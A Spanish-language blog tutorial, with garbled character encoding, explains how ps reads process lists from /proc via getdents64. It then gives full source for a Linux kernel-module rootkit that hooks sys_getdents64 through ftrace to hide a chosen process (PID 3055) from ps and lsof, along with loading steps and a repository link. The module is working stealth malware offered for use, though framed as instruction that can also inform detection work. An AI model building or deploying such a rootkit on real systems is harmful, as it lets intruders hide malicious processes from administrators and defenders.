Ocultando Procesos en Linux con Rootkits


En un art铆culo anterior, exploramos c贸mo ocultar puertos abiertos en Linux utilizando rootkits. En esta ocasi贸n, se enfocar谩 en alterar el comportamiento de la funci贸n getdents64() para ocultar procesos espec铆ficos.

Identificando el Origen de los Datos

Para ocultar un proceso en un sistema Linux, primero necesitamos entender de d贸nde obtiene la informaci贸n un comando que nos devuelva dicha lista, por ejemplo, el comando ps -aux. Al ejecutarlo con strace, podemos depurar las diferentes llamadas al sistema que se realizan.

Este comando, lista todos los procesos en ejecuci贸n en el sistema. Para obtener esta informaci贸n, ps necesita acceder a varios archivos y directorios, especialmente dentro del sistema de archivos virtual /proc/. La herramienta strace nos permite ver las llamadas al sistema que ps realiza, incluyendo las llamadas a openat, que abren archivos.

El directorio virtual /proc/ act煤a como un puente din谩mico entre el kernel y los procesos de usuario. A diferencia de los directorios convencionales, que residen en el almacenamiento f铆sico, /proc/ se construye en memoria, generando su contenido de manera ef铆mera cuando se le solicita. Esto asegura que los archivos y directorios dentro de /proc/ reflejen el estado actual del sistema en tiempo real.

Cada proceso en ejecuci贸n dispone de su propio directorio dentro de /proc/, nombrado seg煤n su identificador de proceso (PID). Estos directorios albergan archivos como stat, status y cmdline, que detallan la informaci贸n del proceso. Estos archivos no son est谩ticos, sino que se generan din谩micamente a partir de las estructuras de datos del kernel, garantizando as铆 la actualizaci贸n constante de la informaci贸n. Adem谩s de la informaci贸n de los procesos, /proc/ tambi茅n facilita el acceso a datos del hardware del sistema, consolid谩ndose como una herramienta indispensable para la monitorizaci贸n y administraci贸n del sistema.

La llamada getdents64 es fundamental, ya que permite la lectura de las entradas de un directorio, y /proc/ es precisamente el directorio virtual que contiene la informaci贸n de los procesos en ejecuci贸n. La observaci贸n de que ps utiliza getdents64 con descriptores de archivo vinculados a /proc/, y que las entradas le铆das corresponden a los PIDs, confirma que esta llamada es el mecanismo principal mediante el cual ps enumera los procesos activos.

En el contexto de la llamada al sistema getdents64, el primer argumento que se le pasa es el descriptor de archivo, un entero que act煤a como identificador 煤nico para un directorio abierto dentro de un proceso. Este descriptor se asigna cuando un proceso abre un directorio mediante la llamada al sistema open o openat, y permite al kernel y al proceso referirse a ese directorio de manera eficiente en operaciones posteriores. As铆, en getdents64, este descriptor de archivo especifica el directorio cuyas entradas se est谩n solicitando, permitiendo al kernel saber qu茅 directorio debe leer.

Esto se puede comprobar en el c贸digo fuente, fd es File Descriptor (n煤mero entero).

La funci贸n openat() es la encargada de establecer la conexi贸n inicial entre un proceso y un archivo o directorio, un paso necesario para cualquier operaci贸n posterior de lectura o escritura. Durante este proceso, el kernel asigna un descriptor de archivo 煤nico, un n煤mero entero que servir谩 como identificador para la conexi贸n establecida, permitiendo al proceso referirse a ese archivo o directorio en futuras interacciones. Esta asignaci贸n es l贸gica dentro de openat() ya que esta funci贸n gestiona la apertura y verificaci贸n de permisos, y la creaci贸n de la entrada en la tabla de archivos abiertos del proceso, donde el descriptor de archivo act煤a como 铆ndice para acceder a la informaci贸n de la conexi贸n.

Sabiendo esto, podemos filtrar por los identificadores del los descriptores de archivo que se est谩n utilizando en la ejecuci贸n de ps.

El descriptor de archivo 3 se utiliza para abrir diversos archivos y bibliotecas esenciales para el funcionamiento del comando ps. Esta salida de strace revela la apertura de bibliotecas compartidas (.so files) como libprocps.so.8, libc.so.6 y otras dependencias, necesarias para que ps ejecute sus funciones. Tambi茅n se abren archivos de configuraci贸n del sistema, como /etc/ld.so.cache, que almacena la cach茅 de las bibliotecas compartidas. Adem谩s, se accede a archivos dentro de /proc/self/ para obtener informaci贸n sobre el propio proceso ps, y a archivos del sistema como /proc/sys/kernel/osrelease y /sys/devices/system/cpu/online para recopilar datos del kernel y del hardware. Finalmente, se incluye una llamada a read que indica la lectura de los argumentos pasados al comando grep, utilizado para filtrar la salida.

El descriptor de archivo 4 se utiliza para abrir una variedad de archivos de configuraci贸n del sistema y archivos dentro del sistema de archivos virtual /proc/, todos ellos necesarios para que ps recopile informaci贸n sobre los procesos. Se observa la apertura de archivos como /etc/nsswitch.conf y /etc/passwd, que son esenciales para la resoluci贸n de nombres de usuario. Tambi茅n se abren archivos dentro de /proc/, como /proc/self/stat, /proc/sys/kernel/pid_max, /proc/sys/kernel/osrelease y /proc/meminfo, que proporcionan informaci贸n sobre el estado del proceso y del sistema. Adem谩s, se observa la apertura repetida del directorio ra铆z (/) y de algunas bibliotecas del sistema. En general, esta salida refleja la apertura de archivos de configuraci贸n y del sistema, as铆 como la lectura de informaci贸n del kernel y del proceso, todos ellos cruciales para el funcionamiento de ps.

El descriptor de archivo 5 se utiliza para abrir directorios y, finalmente, el directorio /proc/, que es crucial para la funcionalidad de ps. Esta salida de strace muestra una serie de llamadas a openat donde se abre directorios como /etc/, /run/, /usr/, y /lib/, utilizando el descriptor de archivo 4 como directorio base. Estas llamadas, que incluyen la opci贸n O_PATH, indican que se est谩n abriendo los directorios para obtener un descriptor de archivo que permita referirse a ellos, pero no para leer su contenido directamente. Finalmente, la llamada openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5 confirma que el descriptor de archivo 5 se asigna al directorio /proc/. Esta apertura es esencial, ya que ps necesita leer el contenido de /proc/ para obtener informaci贸n sobre los procesos en ejecuci贸n, lo que subraya la importancia de este descriptor de archivo en el proceso de recopilaci贸n de informaci贸n por parte de ps.

Finalmente, el descriptor n煤mero 6 se utiliza para obtener la informaci贸n detallada de los procesos, como /proc/1/stat, /proc/1/status, y /proc/1/cmdline, que contienen informaci贸n de estado y l铆nea de comandos del proceso con PID 1, y as铆 sucesivamente para otros procesos. Adem谩s, se abre el archivo /etc/passwd, necesario para la resoluci贸n de nombres de usuario, y archivos como /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache y /etc/localtime, que proporcionan informaci贸n de codificaci贸n de caracteres y zona horaria. La apertura del archivo /proc/stat tambi茅n es relevante, ya que contiene estad铆sticas del sistema. En resumen, el descriptor de archivo 6 se utiliza para acceder a informaci贸n espec铆fica de los procesos y del sistema, esencial para que ps pueda mostrar los detalles de los procesos en ejecuci贸n.

Para modificar el comportamiento de estas llamadas, tendremos que utilizar una t茅cnica llamada "hooking". Esto significa que, en lugar de llamar a la funci贸n original, se llama a una funci贸n personalizada que se encarga de realizar la misma acci贸n, pero con un comportamiento diferente en funci贸n de cada caso.

Ahora bien, volviendo a los descriptores de archivos, hab铆amos comprobado que se asigna dicho identifiacador a cada proceso que se va a listar, porque la estructura task_struct se contiene din谩micamente en el procfs y se lee utilizando la funci贸n openat(). El segundo argumento que recibe getdents64() es la estructura linux_dirent64.

El campo d_name contiene el nombre del directorio, que en este caso es el identificador del proceso, ya que dentro de /proc/ se encuentran un subdirectorio por cada PID.

A modo de prueba, se ejecutar谩 un servidor HTTP con python (que ser谩 el proceso que se tratar谩 de ocultar)

root@rubbxvm:~/hide-process-rootkit# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Con el comando ps -aux se obtiene el PID del proceso.

Por tanto, el directorio que hay que ocultar es /proc/3055.

Utilizaremos la biblioteca ftrace_helper.h para interceptar y modificar las funciones del kernel en tiempo de ejecuci贸n. Esta contiene las estructuras de datos necesarias, junto con sus implementaciones, que se invocar谩n en el m贸dulo final.

Implementando el Hook

El siguiente m贸dulo intercepta la syscall getdents64, examina cada entrada de directorio que se retorna y elimina aquella que corresponda a /proc/3055, ocultando as铆 el proceso con PID 3055.

El c贸digo comienza incluyendo las cabeceras necesarias para trabajar con m贸dulos del kernel de Linux. Estas cabeceras permiten gestionar memoria, acceder de manera segura a memoria del espacio de usuario, manejar llamadas al sistema, y trabajar con estructuras de archivos y directorios. Finalmente, se define una constante HIDDEN_PATH que contiene la ruta absoluta que se desea ocultar, en este caso /proc/3055.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/dcache.h>
#include <linux/path.h>

#include "ftrace_helper.h"

#define HIDDEN_PATH "/proc/3055"

A continuaci贸n, se definen macros que facilitan extraer los argumentos de la syscall cuando estos vienen dentro de una estructura de registros del procesador (pt_regs). En arquitecturas como x86_64, los argumentos se pasan por registros espec铆ficos, y estas macros simplifican el acceso a esos valores con el tipo correcto, garantizando que el m贸dulo funcione bien en distintas versiones del kernel.

#ifdef PTREGS_SYSCALL_STUBS
#define FIRST_ARG(regs, cast) (cast)regs->di
#define SECOND_ARG(regs, cast) (cast)regs->si
#define THIRD_ARG(regs, cast) (cast)regs->dx
#endif

La funci贸n principal llamada evil es la encargada de realizar el filtrado para ocultar la entrada de directorio deseada. Para ello, primero reserva memoria en el kernel para copiar el buffer de entradas que la syscall getdents64 ha le铆do del espacio de usuario. Despu茅s, usa copy_from_user para traer ese buffer al kernel, de modo que pueda inspeccionarlo y modificarlo si es necesario.

int evil(unsigned int fd, struct linux_dirent __user *dirent, int res) {
    int err;
    unsigned long off = 0;
    struct linux_dirent64 *kdir, *kdirent, *prev = NULL;
    struct file *file;
    char dir_path_buf[PATH_MAX], *dir_path;

    kdirent = kzalloc(res, GFP_KERNEL);
    if (!kdirent)
        return res;

    err = copy_from_user(kdirent, dirent, res);
    if (err)
        goto out;

Luego, la funci贸n obtiene la estructura file asociada al descriptor de archivo fd, que identifica el directorio que se est谩 leyendo. Con esta estructura, transforma la ruta interna del kernel en una cadena legible con d_path. Esto es importante para saber exactamente qu茅 directorio est谩 siendo listado, y as铆 poder decidir si ocultar alguna entrada.

    file = fget(fd);
    if (!file)
        goto out;

    dir_path = d_path(&file->f_path, dir_path_buf, PATH_MAX);
    fput(file);

    if (IS_ERR(dir_path))
        goto out;

Despu茅s, se recorre todo el buffer de entradas de directorio, una por una. Para cada entrada, se construye su ruta absoluta concatenando el directorio base y el nombre de la entrada. Se compara esta ruta completa con la ruta que queremos ocultar (/proc/3055). Si hay coincidencia, se elimina esa entrada del buffer. Si la entrada a eliminar est谩 al principio, se mueve el resto del buffer para cubrirla y se ajusta el tama帽o. Si est谩 en medio o al final, se aumenta el tama帽o de la entrada anterior para absorber la eliminada. Si no coincide, simplemente se avanza al siguiente registro.

    while (off < res) {
        kdir = (void *)kdirent + off;

        char full_path[PATH_MAX];
        snprintf(full_path, PATH_MAX, "%s/%s", dir_path, kdir->d_name);

        if (strcmp(full_path, HIDDEN_PATH) == 0) {
            if (kdir == kdirent) {
                res -= kdir->d_reclen;
                memmove(kdir, (void *)kdir + kdir->d_reclen, res);
                continue;
            }
            prev->d_reclen += kdir->d_reclen;
        } else {
            prev = kdir;
        }
        off += kdir->d_reclen;
    }

Una vez terminado el filtrado, el buffer modificado se copia de vuelta al espacio de usuario para que el proceso que llam贸 a getdents64 reciba la lista sin la entrada oculta. Finalmente, se libera la memoria reservada y se retorna el tama帽o actualizado del buffer.

    err = copy_to_user(dirent, kdirent, res);
    if (err)
        goto out;

out:
    kfree(kdirent);
    return res;
}

Despu茅s, se define la funci贸n hook que intercepta la syscall original getdents64. Dependiendo de la versi贸n del kernel, esta funci贸n puede recibir sus argumentos empaquetados en una estructura pt_regs o directamente como par谩metros. En ambos casos, primero se llama a la funci贸n original para obtener el listado completo de entradas. Si la llamada fue exitosa, se pasa el resultado a la funci贸n evil para que filtre la entrada oculta. Finalmente, se retorna el tama帽o modificado del buffer.

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_sys_getdents64)(const struct pt_regs *);
static asmlinkage int hook_sys_getdents64(const struct pt_regs *regs) {
    struct linux_dirent __user *dirent = SECOND_ARG(regs, struct linux_dirent __user *);
    unsigned int fd = FIRST_ARG(regs, unsigned int);
    int res;

    res = orig_sys_getdents64(regs);
    if (res <= 0)
        return res;

    res = evil(fd, dirent, res);
    return res;
}
#else
static asmlinkage long (*orig_sys_getdents64)(unsigned int, struct linux_dirent __user *, unsigned int);
static asmlinkage int hook_sys_getdents64(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) {
    int res;

    res = orig_sys_getdents64(fd, dirent, count);
    if (res <= 0)
        return res;

    res = evil(fd, dirent, res);
    return res;
}
#endif

Finalmente, se declara un array con el hook registrado para interceptar la funci贸n sys_getdents64. Las funciones rootkit_init y rootkit_exit se encargan de instalar y remover el hook al cargar y descargar el m贸dulo respectivamente.

static struct ftrace_hook syscall_hooks[] = {
    HOOK("sys_getdents64", hook_sys_getdents64, &orig_sys_getdents64),
};

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Rubbx");
MODULE_DESCRIPTION("Rootkit designed to hide processes from system directory listings.");

static int __init rootkit_init(void) {
    return fh_install_hooks(syscall_hooks, ARRAY_SIZE(syscall_hooks));
}

static void __exit rootkit_exit(void) {
    fh_remove_hooks(syscall_hooks, ARRAY_SIZE(syscall_hooks));
}

module_init(rootkit_init);
module_exit(rootkit_exit);

Prueba de Concepto

Tras compilar el m贸dulo, se puede cargar en el kernel con insmod. De esta forma, el proceso se seguir谩 ejecutando pero no ser谩 visible en ps ni en lsof, por ejemplo.

El c贸digo del rootkit est谩 disponible en https://github.com/rubbxalc/hide-process-rootkit.

Ocultando Procesos en Linux con Rootkits | Rubbx